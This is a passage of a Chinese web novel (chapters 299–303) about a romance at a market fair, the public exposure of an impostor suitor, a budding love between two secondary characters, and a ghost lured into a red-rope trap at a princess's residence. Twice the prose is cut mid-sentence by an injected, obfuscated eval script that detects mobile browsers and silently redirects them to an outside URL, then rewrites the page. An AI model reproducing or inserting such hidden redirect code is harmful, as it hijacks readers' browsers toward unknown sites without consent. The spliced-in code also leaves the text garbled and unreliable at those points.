“是我们该谢你才对。”徐莞道:“若不是你愿意出堂作证,且拿出那几封家书,或许还不能如此有力地证明魏志鸿调包试卷之罪。” “夫人过誉了,应是魏某感谢各位才对。若不是两位将军救了我,侯爷和夫人又收留我,魏某或许早已死在**们的刀下。” 慕怀瑾起身走来道:“魏兄弟客气了。既然你心意已决,我们便不再强留你。你今后有何打算?” 魏东阳想了想,神态变得柔和,“我想先去我娘的坟上看看,告诉她不孝子终于亲手将魏志鸿送进大牢,且他已死在了牢中。希望我娘的在天之灵能安息。 之后我想回家乡甘州,在那里寻一份差事,或做点小生意。若是能在那里成家立业,我这辈子便满足了。” 这时,冷锋起身道:“若是你愿意在甘州州府里做一名捕快,我或可为你写封推荐信。” “真的吗?”魏东阳激动转过身,向冷锋抱拳一拜,“多谢冷将军!” 冷锋身旁的慕怀灵,亦一脸崇拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465715|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地望着他,仿佛冷锋是身披彩练,脚踩祥云的大英雄。 一旁的流星则是一脸坏笑,向朱雀挤眉弄眼,看得朱雀蓦地一激灵,连忙转过脸去。 “既然如此,便提前恭喜你了。”慕怀瑾拍拍魏东阳的肩道:“在甘州安定下来后记得给我们寄封信。也希望你能觅得良人,儿女双全。有何需要帮忙的,尽管写信告诉我们。” 魏东阳重重点头,眼中溢满了感激,“好!多谢侯爷夫人和各位将军!” 之后,慕怀瑾硬是给了魏东阳一百两盘缠。魏东阳几次推辞不过,只好收下。 又为他安排了马车,将其送到京城发往各个州县的车队之处,以便其搭车出京。 魏东阳再次向侯府众人郑重道谢,最后坐上马车离去。 众人立在侯府门外,目送马车渐渐远去,直到转过一个弯看不见了,众人才收回留恋的目光。 “哎,又送走一位朋友。今年会试牵扯出的案子,终于算告一段落了。”慕怀灵长长呼出一口气,感慨道。 身侧的冷锋侧头淡笑望向她,二人相视一笑,都在对方眼中看到对未来美好的憧憬。 可立在慕怀灵身后的慕煜峥,却皱着张小脸,哭丧着道:“哎,今年的会试就如此错过了,还要再等一年才能再考...” 慕怀灵转过身,抬手弹了一下慕煜峥的脑门,“你啊,此刻能活着跟我们站在一处,已经是谢天谢地了,还考虑什么会试。 晚一年考又怎样?再说了,又不是你一人没考。今年的会试被取消了,所有的举人都没考,你急什么?” 慕怀灵虽只比慕煜峥大三岁,但从小在府中就以姑姑自居,说话举动都颇有长辈的架子。 慕煜峥也习惯了慕怀灵与他的相处方式,不敢反抗顶嘴,只得低下头揉揉被弹痛的额头,露出一副可怜兮兮的表情。 其母薛敏芝含笑捏捏他的肩头,心疼又赞同道:“是啊煜峥,如今你能平安陪在娘身边,娘已经很满足了。” 第299章 299.你什么时候娶我? 在这欢闹喧腾的街道集市里,慕怀灵更是兴奋到难以自抑,如一只小松鼠一会儿看看这儿,一会儿望望那儿。 冷锋稍不留神,慕怀灵就从他身边蹿开。冷锋的眼神需一直钉在她身上,才能避免让她走丢。 “灵儿慢点,别乱跑!” 转眼间,慕怀灵又跑到了一个卖面具和香囊的摊子旁,拿起一张张面具,兴致盎然地端详。 冷锋稍后才从人群中挤到她身边,拉住她的手臂,蹙眉担忧道:“灵儿听话!别跑了!” 慕怀灵却把面具遮在自己脸上,猛地向冷锋凑过去,令他下意识地往后躲了躲。 见此,慕怀灵顿时哈哈大笑。 冷锋则愈加绷起脸,肃然将她手上的面具挡了下来,“别闹!你能不能乖一点!” 冷锋肃起脸一吼,气势十足,周围的气压都降了几分。 慕怀灵也渐渐收起笑容,怕怕地抬眼睨着他,一副做错了事的小媳妇模样。 流星与朱雀白虎三人,此时也终于挤到他们身边。朱雀微微喘着气道: “怀灵小姐,你可别跑了。我们找不到你的话,侯爷和师父绝对不会放过我们。” 白虎也担忧道:“是啊怀灵姐姐。此处人多眼杂,万一有坏人伤了你或将你劫走,我们怎么跟侯爷和师父交代啊。” 冷锋双臂环胸,无奈地叹了口气,“灵儿,我们出来玩首先要保证你的安全。若是你再这样让我们担心,我现在就将你送回侯府。” “哎别别别!”慕怀灵赶忙拉住冷锋,“我不乱跑了还不行嘛。咱们才逛了那么一会儿,什么小吃都还没吃,怎能现在就回去。” “这可是你说的,不要乱跑,就跟在我身边。” 慕怀灵点头如捣蒜,立马像树懒一样抱住冷锋的手臂,“不跑不跑,我就挂在你身上,让你甩都甩不掉。” 流星望见这一幕,实在忍不住噗嗤一声笑了出来。朱雀与白虎也都红着脸捂嘴偷笑。 冷锋面上则又是娇羞,又是幸福,但又想装出一副高冷不在乎的表情,看起来颇为尴尬别扭。 最终还是流星先受不了他们的腻歪,出言打断,“你们够了啊。光天化日之下,那么多人看着呢。你们不怕被别人笑话,也要考虑一下我们几个的眼睛啊。” 冷锋忙轻咳两声,将慕怀灵的手往下推了推,装作一本正经道:“咳咳灵儿,在外面我们还是注意一些。毕竟你还是未出阁的姑娘...” 慕怀灵却依旧抱着冷锋的手臂,没脸没皮地说:“那你什么时候把我娶走啊?” 冷锋:“......” 流星:“噗嗤...”怀灵这姑娘是多恨嫁啊... 朱雀白虎则是想笑又不敢笑,差点就要把自己憋出内伤。 就在他们以为冷锋不会接她的话时,黑着脸的冷锋突然开口,“我想等自己有了官职,挣得军功,开牙建府之后,再亲自去永嘉侯府向侯爷和夫人提亲。” 目前冷锋还只能寄住在定北王府,无官职无军功更无自己的府邸。 这样的他拿什么来娶慕怀灵?更别说要让她过上好日子了。 所以在自己还未准备好之前,他是不会让慕怀灵跟着自己受苦的。 慕怀灵听后微微蹙起眉,“那还要等多久?” “这...我也说不准...”冷锋神色黯然。 慕怀灵见他心情低落,不想让他为难,便安慰道:“没事儿,我等你。无论多久我都会等你。” 此言一出,冷锋心中更是愧疚,觉得对她亏欠太多,不由得用另一只手覆住她的小手,低声动容道:“我不会让你等太久的。” 二人相互凝望片刻,彼此都在对方眼中看到了疼惜和不舍,以及真心为对方着想的爱。 半晌,摊主见他们一直没走,主动招揽生意道:“几位公子姑娘,要不要看看我们家的面具和香囊呀? 我们家的香囊样式繁多,各个漂亮,都是绣娘一针一线缝出来的。几位公子要不要买上几个送给姑娘?” 听到摊主的声音,慕怀灵不由得侧头向摊子上望去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507025|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打眼一扫,便发现其中的一枚香囊,与她小时候送给冷锋的香囊,颜色与图案有几分相似。 “小哥哥,你看这枚香囊像不像我送你的那个?”慕怀灵将其拿起问道。 “嗯,有些像。但没有你做得好。” 慕怀灵羞赧一笑,“你说什么瞎话。这枚明明比我绣的好多了。” 冷锋却还认真地说:“在我眼里,你做的就是最好的。” 慕怀灵又低下头笑了笑,随后想到了什么,面上浮现出些许不忿,“可惜那枚香囊被其他人拿走了,真是气人。” 冷锋抬手轻抚了两下她的发髻,而后将手搭在她的肩头,低下头安抚道: “莫气。那枚香囊代你陪了我十年。如今你已回到我身边,它的使命便完成了。有无那个香囊已不重要了。” “但是一想到那个香囊在别人手里,我这心里就膈应的慌。而且我还曾经将他当作了你……” 慕怀灵越想越觉得气愤恶心,摇摇头将宁玉轩的身影赶出脑海,“哎小哥哥,我重新为你缝一个香囊吧。” 冷锋笑了笑道:“若你实在想的话,那我就提前谢谢你了。” 慕怀灵即刻笑靥如花,“好!我今日回府就开始缝!” 话毕,二人便手拉着手,甜蜜地笑着继续逛起了集。 朱雀白虎忙跟了上去。 流星则向摊主问道:“喂老板,你这香囊怎么卖?” 摊主满脸堆笑道:“五十文一个。” “给我拿一个。”流星说着,从衣襟中摸出一吊钱扔给摊主,随后在一片香囊间迅速抓起一个便向他们赶了上去。 一行五人继续在集市中闲逛,正巧到了用午膳的时候,街边随处可见京城及周边州县的特色小吃及美食。 肉夹馍、搅团、凉粉、凉皮、饸络、牛羊肉泡馍、牛肉面、葱香烧饼、烤肉串。 还有冰酪,鸡蛋醪糟,甑糕,蜂蜜凉糕,桂花蜜粽等甜食。 琳琅满目,应接不暇。飘出的香味引得冷锋慕怀灵等人直咽口水。 第300章 300.冒牌货遇上正牌救命恩人 五人各自选了几样自己喜欢的小吃,找了张桌子坐下,将买来的各种小吃摆在一起,不分你我大家一块吃。 五人你一口这,我一口那,边吃边聊,欢声笑语不绝于耳。 而就在不远处,一双眼睛却盯住了他们。 今日是兴华街上一月一度的集市日,无数京城与京郊百姓都会前来赶集。 而一些小偷小摸与地痞无赖,亦会趁此时机,在集市中寻衅滋事。 每每此时,五城兵马司便会派出些城役上集市巡逻,以防有人趁乱闹事。 今年将将被调入五城兵马司的宁玉轩,做的便是在京城各处巡逻,维护治安的城役一职,乃五城兵马司内最低等的一员。 今日又逢大集,宁玉轩便被指派与另外三名城役一同在兴华街巡逻。 一整个上午,四人皆在熙熙攘攘的人群中拥挤穿梭。 到了午时,集市里的群众少了不少,四人终于可以找个地方喝口茶歇歇脚了。 恰巧前方就是一片卖小吃美食的摊贩,宁玉轩便跟随同僚来到其间,找了张桌子坐下。 就在宁玉轩仰头四望,寻找着待会儿吃什么时,一抹倩影突然闯入他的视线。 是慕小姐! 再仔细望去,坐在她身边的两名男子是何人? 宁玉轩定睛一看,蓦地瞪大了眼,竟是冷锋与流星两位将军! 还来不及思考他们为何会与慕怀灵坐在一起,宁玉轩便望见坐在慕怀灵身旁的冷锋,殷勤地为她碗里夹菜。 慕怀灵也从自己碗中舀起一勺什么,亲手递到他嘴边,动作亲昵地喂给他。 一向冷面无情的冷锋,居然无一丝避嫌,反而配合地张嘴吃下,二人面上皆扬起一抹幸福甜蜜的笑。 二人面上的笑容,如一把淬了毒的匕首,狠狠刺入宁玉轩的胸口。一股无名妒火,也轰得燃了起来。 只因在宁玉轩的意识中,上次他去永嘉侯府拜访,就已代表着想与慕怀灵更进一步。 并且在出府后,慕怀灵亲自送他时二人聊的那些话,在宁玉轩听来,也是慕怀灵会等他前来提亲的意思。 因而自那之后,在宁玉轩心中便已将慕怀灵当作了自己未来夫人。 而此时,他竟发现慕怀灵与另一名男子在大庭广众之下,如此亲亲我我,宁玉轩怎能忍受得了? 遂,被妒恨冲昏头脑的宁玉轩,连冷锋和流星都不放在眼里,扶着腰间的剑柄,便沉着脸怒气冲冲朝他们而去。 “怀灵小姐,二位将军,幸会。”行至几人附近,宁玉轩抱拳道。 说出口的话虽还算得体,但语声中却无丝毫恭敬,甚至还带着一丝阴阳。 正兴致高昂的五人听到声音,不由得一愣,言谈欢笑戛然而止。 慕怀灵与冷锋抬头望去,见站在他们面前的,竟是宁玉轩! 慕怀灵方才还气恼于宁玉轩将她的香囊据为己有,甚至欺骗她自己是他的救命恩人,好不容易被冷锋劝住。 如今宁玉轩竟还有脸出现在她面前。看不见他还好,看见他后慕怀灵就气不打一处来。 “你怎么在这儿?”慕怀灵眼睛都没抬,没好气地说。 “这应该是我问怀灵小姐的吧?你一位姑娘家,为何会与两位将军在此……” 这话明显是在暗示,慕怀灵作为姑娘家,与两名男子单独外出不检点。 饶是冷锋再能忍,再不想将他放在眼里,都无法忍受宁玉轩这种诋毁慕怀灵的言语。 “宁百夫长,请注意你的言辞!” 冷锋沉稳站起身,冷冽如冰刃的目光,直直向宁玉轩射去,周身散发出的强大气场,令周围气压骤降。 慕怀灵这个暴脾气,更是径直跳了起来对宁玉轩喊道:“关你什么事!你算哪根葱?凭什么那样对本小姐说话!” 宁玉轩顿时被慕怀灵的反应震懵了。 未曾想到她居然会这样对自己说话,与一个月前对自己的态度天差地别。 为何会这样! 当一个人沉浸在无端自恋中时,是会忘记自己真正几斤几两的。 此时的宁玉轩便是如此。 他竟忘了自己是个冒名顶替的冒牌货,将冷锋的香囊据为己有欺骗慕怀灵,还将自己臆想为侯府赘婿。 因此,宁玉轩居然敢开口对慕怀灵厉声道:“你既已答应等我,为何又去招惹别的男子?别忘了那日救你的人是谁!” 慕怀灵冷锋:“!!!” 流星朱雀白虎:“???” 这个宁玉轩是疯了吗?竟然敢当着冷锋和慕怀灵的面,提起救慕怀灵的人是谁。 他是失忆了吗?还是自己入戏太深,骗着骗着让自己都相信了? 慕怀灵震惊过后,丝毫不惯着这种人,当街便指着他的鼻子怼道:“本小姐当然记得救我的人是谁。 救我的人是冷锋,不是你这个道貌岸然的骗子小偷!” 宁玉轩:“!!!” 宁玉轩瞳孔骤缩,心中猛地一紧。 她知道了? 难道她已经什么都知道了? 惊惶之下,宁玉轩又不由得向她身旁的冷锋望去,但见冷锋也正用一种阴冷、能将人冻结的目光盯着他。 宁玉轩瞬时一凛,脑中嘭的一声有什么轰然炸响。 完了…… 全完了…… 他们什么都知道了…… 几人的争吵很快引来附近一些看热闹的目光。 一些围观群众听后,已大致猜到了他们几人的关系,开始对宁玉轩指指点点。 “那个城役是不是冒充那位姑娘的救命恩人,如今被人家发现了?” “八成是。人家的正牌救命恩人就站在身边,他还一副理直气壮的样子,脸皮还真厚啊。” “呵呵,看那位姑娘的衣着打扮和长相气质,定不是普通人家。小小城役还想癞蛤蟆吃天鹅肉,想的美!” 顷刻间,宁玉轩脸色煞白,脑中一阵眩晕,身子晃了晃差点摔倒。 慕怀灵及冷锋等五人,皆冷眼望着宁玉轩失魂落魄的模样,眼里无一丝怜悯与同情,反而皆是厌恶与鄙夷。 少倾,慕怀灵拉了拉冷锋的衣袖道:“冷大哥我们走吧,看见这个人我就心烦,连逛集的心情都没了。” 冷锋握住她的手道:“好,我们走。下回我再陪你出来逛。” 第301章 301.未来小舅子 “好,我们走。下回我再陪你出来逛。” 话毕,冷锋与慕怀灵再也未看宁玉轩一眼,便互相挽着手臂转身而去。 流星见此也放下筷子起身,行至宁玉轩身边时,不屑地朝他冷嗤一声,亦转身离去。 朱雀与白虎则愤恨地瞪了宁玉轩几眼,口中又对他低声骂了两句,才不解气地离开。 独留宁玉轩一人失魂落魄般立在原地,任由路过的群众指指点点。 直到慕怀灵等人的身影融入人群中消失不见,宁玉轩才蓦地回过神来,猛然抬起头向他们离开的方向追去。 宁玉轩的一位同僚将将买好吃食回来,望见他翻过桌椅板凳急急往一个方向跑去,还以为他发现了什么盗贼霸市之人,也急忙追上去问:“喂宁兄你追什么呢!” “没什么!你们先吃,我去去就来!”话音还未落,宁玉轩的身影已消失在视线之中。 被宁玉轩扰了心情,五人都没了逛集的兴致,冷锋流星便陪同慕怀灵等人向永嘉侯府回返。 到了永嘉侯府附近,街道上已无多少行人。一阵急促的奔跑声忽然自几人身后传来。 “慕小姐!冷将军!请留步!” 一听到这个声音,慕怀灵心中又升起一股烦躁,骤然回过身厉声道:“你又来做什么!还嫌不够烦吗!” 五人皆停下脚步回过身去,赫然望见宁玉轩竟扑通一声,跪在了慕怀灵和冷锋面前。 “慕小姐,冷将军,对不起!是我一时糊涂,犯下如此大错。我知错了。我不该私藏冷将军的香囊,更不该欺瞒慕小姐。请二位原谅!” 宁玉轩说着,将冷锋丢失的那枚香囊高高举过头顶,双臂微微发抖,额角的汗珠簌簌滑落。 冷锋垂眸冷眼望着他,一句话都未说,而是望向身旁的慕怀灵。 慕怀灵叹了几口气,烦躁厌恶道:“你此时来道歉又有何用?我们原谅你又如何,不原谅你又如何?” 宁玉轩低着头,沉默片刻,随后隐忍道:“宁某只是想让你们知道我知错了。 在下着实不应介入你们二人之间。但慕小姐,我对你的心意从始至终都是真的...” 他的话还没说完,但闻“啪”的一声脆响,慕怀灵的巴掌已结结实实搧在宁玉轩脸上。 慕怀灵气得浑身都在微微发抖,冷锋忙扶住她的肩,而后愤然向宁玉轩厉喝道: “事到如今你竟还在痴心妄想!这香囊不是你的,靠欺骗得来的感情,也永远不会是你的!” 说罢,冷锋一把夺回宁玉轩手中的香囊,抬脚将他踢翻在地。 一想到此人在此前半年间,拿着他的香囊代了他的身份,欺骗慕怀灵的感情,冷锋就恨不得将宁玉轩扒皮抽筋。 宁玉轩狼狈地斜瘫在地,脸颊火辣辣的痛,但这些却远不及他心中的羞耻与痛楚。 “宁玉轩,你死了这条心吧。看到你就让我觉得恶心。今后再也不要出现在我面前,否则我让我哥和定北王,将你撵出京城!” 慕怀灵颤抖着身子喊完,扶住冷锋的手臂,便踉跄着快步向侯府而去。 想到自己从前曾对此人有过好感,还亲自去军营找他、送礼物给他,慕怀灵便一阵一阵的恶心。 朱雀等人也像睨着什么污秽之物,唯恐他会脏了自己,对他避之不及。 五人很快相继离开,仅剩宁玉轩一人瘫坐在地。 他还曾心存侥幸,认为自己向慕怀灵道歉后,她说不定还会给自己一次机会。 但她方才的反应,让宁玉轩彻底认清现实。 慕怀灵再也不会原谅他了,也再也不会多看他一眼。 她的身边有了冷锋,冷锋才是她从小爱慕、惦记到大的人。 且冷锋也对她很是温柔爱护,自己拿什么与冷锋相比? 宁玉轩后悔了,他宁愿自己在初识慕怀灵时,没有欺骗她。 哪怕仅是从普通朋友做起,或许她都不会那么恨自己。 可如今后悔有何用? 宁玉轩啊宁玉轩,你当初怎会如此糊涂!因一时的贪念毁了自己一世清誉! 宁玉轩越想越无地自容。 既然他已无资格再出现在慕怀灵面前,那么他便离开吧,回到他本该去的地方,结束这场不属于他的美梦。 思及此,宁玉轩缓缓站起身,如阴沟里的老鼠一般,低头含胸悄无声息地溜走。 少倾,冷锋慕怀灵等人进了永嘉侯府大门,终于松了口气。 冷锋关切问:“灵儿你怎么样?把那个人忘了,无需再为那种人生气。” “是啊怀灵小姐,”朱雀亦出声劝道:“那种人不值得为他生气,莫要气坏了身子。” 慕怀灵深吸几口气,平复下心情后,转身向几人道:“谢谢你们,我好多了。幸好我方才狠狠搧了他一巴掌,否则我这心里还憋着气呢。” 众人听后哑然失笑。白虎首先捧哏道:“怀灵姐姐方才那一巴掌打得确实好,连我看了都解气。” “确实,”朱雀接口道:“那个姓宁的所作所为,哪一样是正人君子的行为?若是有人敢如此欺骗我,我定这辈子都不会原谅他!” 话音落下,身侧的流星忽然抬眸望了朱雀一眼,似是被她那郑重其事的语气吓住,微微怔了片刻。 随后,冷锋又安慰道:“好了,我们不说那个人了。灵儿今日也逛累了,午后小憩片刻吧。我与流星便回王府了。” 慕怀灵点头,“好,小哥哥,我下回再去找你们。” 二人道别后,冷锋拍拍流星的肩膀,流星才回过神来,“走吧。” 慕怀灵与朱雀已先行往府里走去,流星回过神后,忙拉住正要往里走的白虎,将在集市上买的香囊塞进了他的手里。 “哎小虎,把这个给你姐姐。” 白虎脚步一顿,垂眸睨了眼那香囊,立马明白过来,随即腹黑地向流星摆起了架子。 “流星大哥真小气,就知道给我姐送小礼物,都不知道给未来小舅子送点什么。” 小舅子? 白虎这小子确实会说话。 流星点了点白虎,朝他坏坏一笑,从怀中摸出一包碎银子塞入他手中,“麻烦我未来小舅子了。” 白虎将那包碎银子在手中掂了掂,立马眉开眼笑,“未来姐夫放心,一定给你办妥!” 第302章 302.祖训难违 回到侯府,慕怀灵便回自己的院落休息了。 白虎则追着朱雀来到他们在松风苑的厢房。 “姐姐姐姐,方才流星大哥让我交给你一样东西。” 朱雀方倒了一杯茶给自己,边喝边问:“什么东西?” 白虎将那枚香囊挂在指间,展开在朱雀眼前,“噔噔噔,就是这枚香囊。喜不喜欢?” 朱雀定睛望去,但见白虎指间的香囊,竟是一串大红色的爆竹!刚喝进嘴的一口茶,登时喷了出来。 “噗!” 白虎条件反射往后一跳让开,那口茶才没喷到他身上。 朱雀喷完后顺势用手背抹去嘴边的水渍,顾不得失态就气急败坏道: “这是他让你给我的?该死的混蛋,今日没找着机会跟我说话,居然买个香囊来骂我!” 马白虎听后愣了一瞬,随后忍不住笑了出来,“我说姐姐啊,你是装傻还是真迟钝啊?” “什么?”朱雀即将出口的骂语一顿。 白虎凑到她身边,挤眉弄眼道:“姐姐,你没发现流星大哥其实对你有意思吗?” 朱雀:“!!!”他对我有意思? 见朱雀被震懵在了那里,白虎推了推她的肩膀,“姐姐你在听吗?你是真不知道?” 朱雀缓缓回过神来,“他…他对我有意思?你怎么知道?” “对啊。哎呀这种事需要说的那么清楚吗?每次他见到你都冲你笑,主动跟你搭话,跟你开玩笑想引起你的注意。这些不都是对你有意思的表现吗? 今日在集市上还专门为你买了香囊,证明他一直都挂念着你。难道你一点都没有察觉到他的心意吗?” 听完白虎的话,朱雀垂眸,心情忐忑不定。 与流星相识半年有余,他确实如白虎所说,每次见面都要故意说些暧昧不着调的话逗她。 而在他们遇到危险之时,流星又会挺身而出,主动帮她挡刀。 上回救魏东阳时,流星看到她受伤时紧张担忧的表情,不像是装的。 他好心帮自己上药时,自己还打了他一巴掌…… 一想到此处,朱雀便觉得无地自容。 其实流星的这些一举一动,朱雀都看在眼里,记在心里。但她从不敢往那方面想。 一是因二人身份悬殊,二则是因马家祖训:马家的女人要以除魔卫道为己任,不得困于男女之情,嫁人生子。 因而就算朱雀意识到了流星对她的情谊,她也不敢有丝毫回应。 可是一想到流星那潇洒不羁的笑脸,她的心跳就会不自觉加快… 一旁的白虎见她半晌没说话,心内有些着急,唤道:“姐姐?姐姐?你是怎么想的啊?” “什么我怎么想?”朱雀烦躁地转过身,“他对我有意思,与我何干?” 白虎的心一沉,“姐姐,你难道对流星大哥一点感觉都没有? 不会吧。你们就像一对欢喜冤家,我看着你们很般配啊…” “我们马家女子不得成婚生子你忘了吗?”朱雀立刻打断他。 白虎愣了一瞬,之后露出一脸无语的表情。 “我说姐姐,那都过去多少年了。再说爹娘,姑姑姑婆全都不在了,你还要用那句祖训困住自己做什么呢? 我觉得就算你和流星大哥在一起,他也不会干涉你除魔卫道的。 这样你一面可以成婚生子,享受夫妻之爱和天伦之乐,又可以继续你的抓鬼事业。如此一箭双雕之事,何乐而不为呢?” 朱雀越听,心中便越发烦乱,当即对白虎厉声道:“你还操心起我的婚事了?你还是管好你自己吧,少让我操点心!” 喊罢,朱雀便走进里屋,嘭的关上门,将白虎晾在门外。 白虎被骂后觉得很是无辜,本想为姐姐和流星大哥牵个线,没成想竟让姐姐对他发这么大脾气。 看来自己姐姐性子还是太倔了,牵红线这事儿他真是无能为力。 后面找机会向流星大哥说说,让他自己想办法吧! === 两日后,清明节,大长公主府。 前日永嘉侯府的慕夫人,携两位弟子前来,将那红翡翠耳环中的恶灵收服。 公主府上下,包括大长公主本人在内,终得松了口气。 尤其是大长公主本人,将那红翡翠耳环从坛子中挖出来后,当天便又戴在了耳朵上。 身旁的柳嬷嬷见此,甚至还有些忧心忡忡。 “殿下,这耳环中的恶灵虽已祛除,但其上或许还带有阴晦之气。 今日又恰逢清明时节,鬼门大开,阴气极重,恐会对您玉体有损啊。” 大长公主却不以为然,对着镜子欣赏着自己耳垂上的这对红翡翠耳环。 “恶灵既已被菀丫头收服,这对耳环便不会再伤人。 况且正因今日是清明,本殿才要戴上这对耳环,以寄对青霖的思念。” 话毕,大长公主起身道:“好了,陪本殿去祠堂为母妃和青霖上香。” 每年清明节太阳落山后,大长公主都会在府中祠堂祭奠她的生母孝慎太皇太妃,以及夫君贺青霖。 大长公主在二人牌位前各上一柱香,默念着想对他们说的话,随后再向他们送去纸钱与纸扎的金银元宝和纸人。最后长跪于祠堂中,为二人诵经祈福。 做完这一切后,才算清明祭奠礼成,时辰也不早了,大长公主也该回房休息了。 柳嬷嬷帮她将发髻拆开,一面梳头一面问道:“殿下,今晚奴婢也在寝屋中陪您吧!” 自那日女鬼现身想谋害大长公主后,这两日晚,柳嬷嬷都是睡在她的寝屋外间陪着她。 但今日大长公主却再次一反常态,拒绝了柳嬷嬷的提议。 “不必了。那女鬼已被收服带走,如今府上已没有妖魔鬼怪,安全的很。你也不必再陪我睡了,回你的厢房好好睡吧。 哦对了,让那些晚间守在我门外的丫鬟和护院也都回屋去睡吧。不会有什么事了。” 柳嬷嬷一听立时急了,“这怎么使得。就算没有了鬼怪,也得有人守在门外保护您。万一有奸人或歹徒闯入可怎么办。” 大长公主面露不耐烦之色,“本殿说不必就不必。你的主意倒是比我还大了。” 第303章 303.引蛇出洞 大长公主面露不耐烦之色,“本殿说不必就不必。你的主意倒是比我还大了。” “……”柳嬷嬷一时语塞,见公主态度如此强硬,她也只好听命退下。 “是,殿下,奴婢这就下去吩咐。” 不一会儿,守在大长公主寝屋外的丫鬟嬷嬷们便都散了,屋内外霎时安静下来。 大长公主收拾妥当后,便起身熄了蜡烛,来到床榻旁,随后小心翼翼地躺下,两手覆在胸口的位置。 那里正藏着徐莞第二次给她的那道强力护身符。 随后,她闭上双眼,渐渐平复呼吸,又似在静静等待着什么。 半晌,原本寂静无声的寝屋里,忽而响起一道类似椅子挪动的声音。 “吱——” 片刻后,床帘又无风抖动了一下。 紧接着,那只枯槁黢黑的鬼手,再次从床帘缝中伸了进来,缓缓撩起床帘…… 望见大长公主静静躺在床榻上已睡去,女鬼狰狞的面目再次露出一抹得逞的笑。 呵呵,真是可笑。 那个什么女天师,喊来两个招摇撞骗的童子来抓鬼。 本王妃还以为他们有什么本事呢,结果竟连她的灵体都找不见,用另一只鬼魂假冒本王妃,来骗这位老公主。 这种不叫神棍叫什么?哈哈哈… 这位老公主也是蠢,以为那几个神棍真能将本王妃收服。 还将屋里屋外的下人全都撵走,以为能高枕无忧了。 其实那日的符纸并未对本王妃造成多大伤害,仅休息了片刻就恢复了元气。 清明之夜子时,正是三阴之气汇集之时刻。 只要今日施法成功,她便能顺利夺舍,彻底成为这位老公主。 如此想着,白衣女鬼桀桀笑着,向大长公主凑了过去。 与上回相同,当白衣女鬼与大长公主仅有一寸之隔时,一道红光自她胸口的符纸上飞出。 有了上回的经验,白衣女鬼即刻闪身躲开,而后张大嘴向大长公主吐出一团墨绿色的阴晦之气。 大长公主本就在装睡,发现红光并未击中女鬼后,她立马惊醒过来,不巧吸入一股阴晦之气,如同吸入了一口发霉腐败了多年的灰土,将她恶心得猛得坐了起来。 “呕……鬼啊!滚开!” 大长公主大喊一声,腾地从床榻上坐起,掀开床帘便往门口跑去。 女鬼等的便是这一刻,只要将她逼到外面,沐浴在月光之下,月光的阴气与清明百鬼夜游之阴气,再加上女鬼攒了三十年的阴晦之气,便能将大长公主夺舍。 说时迟那时快,大长公主已跑到门边,推开门来到了庭院中。 此时一轮上弦月高挂夜空,散发出清幽的银光,周围有流云浮过,更平添了几分幽静渗人之感。 大长公主跑到庭院后又往前跑了几步,随后突然停了下来。 紧接着转过身,眼神一改方才的慌乱,坚定清明地望着那女鬼,嘴角还隐约露出一抹讥诮的弧度,仿佛抛出了一个鱼饵,等她上钩。 女鬼因她突如其来的转变顿住,就在女鬼停住的这一瞬。 四人倏然从庭院的四角跳了下来,正是徐莞、朱雀白虎,与慕怀瑾! 但见四人手中各拿着一卷红绳,落地后将手中绳卷互相抛给对方,再用力一拉。 八根红绳即刻纵横交错,形成一个阵法,将女鬼困在其中。 红绳上每隔一段距离便挂着一颗金色铃铛。 拉开后数十个铃铛齐响,叮铃当啷的清脆响声霎时响彻整个寂静的庭院。 徐莞立于东北方阵角之处,将手中两卷红绳高高扯起,眸光从容坚定,姿势飒爽优美,向着女鬼厉声道: “异域孽障,在我大盛国境内岂能容你如此放肆!竟敢妄图夺舍大长公主!” 柳嬷嬷和一众下人家丁们此时亦不知从何处赶了过来,齐齐围在大长公主周围,将她护在徐莞早已用符纸布下的一片安全区域内,皆凶狠警惕地瞪着那女鬼。 被红绳阵法困住的女鬼,见此却未有丝毫惶恐担忧,反而用眼风将他们四人一一扫过,轻蔑笑道: “哈哈哈又是你们几个狗屁不通的神棍。” 随后又瞥向大长公主,“我说公主你可真是傻啊。被他们忽悠了几次,还不清楚他们的底细吗?” 徐莞轻嘲地勾了勾嘴角,“到底是谁被忽悠了,稍后便知。” 女鬼不以为然道:“都到了这个时候还在装。你可知今晚乃清明之夜,此时又到了子时,正是三阴之气汇集之时。 本王妃的法力可陡增百倍,你们几个神棍,就是第一批让本王妃活动筋骨的炮灰!” 徐莞闻之,面上并未出现女鬼预料中那种惶恐慌乱之色,反而意味不明地反问道: “我知道清明之夜三阴之气汇聚,会造就阴气极盛的魔丸。但你真的确定,今晚是清明吗?” 此话一出,女鬼即刻一凛,根本没懂徐莞的意思。 慕怀瑾在徐莞对面的那一角,拉紧了红绳开口,“果然是来自异域的孽障,不懂我大盛国之历。有人说是清明,你就以为是清明了。” “你说什么!”女鬼血红的眸子猝然一缩,抬首向天幕中的上弦月望去,“这月子明明就是清明的至阴之月。你们别想骗本王妃!” 徐莞举起一只手随意往上方一抓,众人只感觉眼前倏然闪了一下,再看天幕中的月亮,竟变成了一轮弯刀月。 “仅是小小障眼法而已,便将你骗了过去。你还真是好忽悠啊。” 原来,早在徐莞第一次来大长公主府时,便看出这只恶灵的意图,是想利用每年的清明前后,一点点将大长公主的精气吸尽,再将她夺舍取而代之。 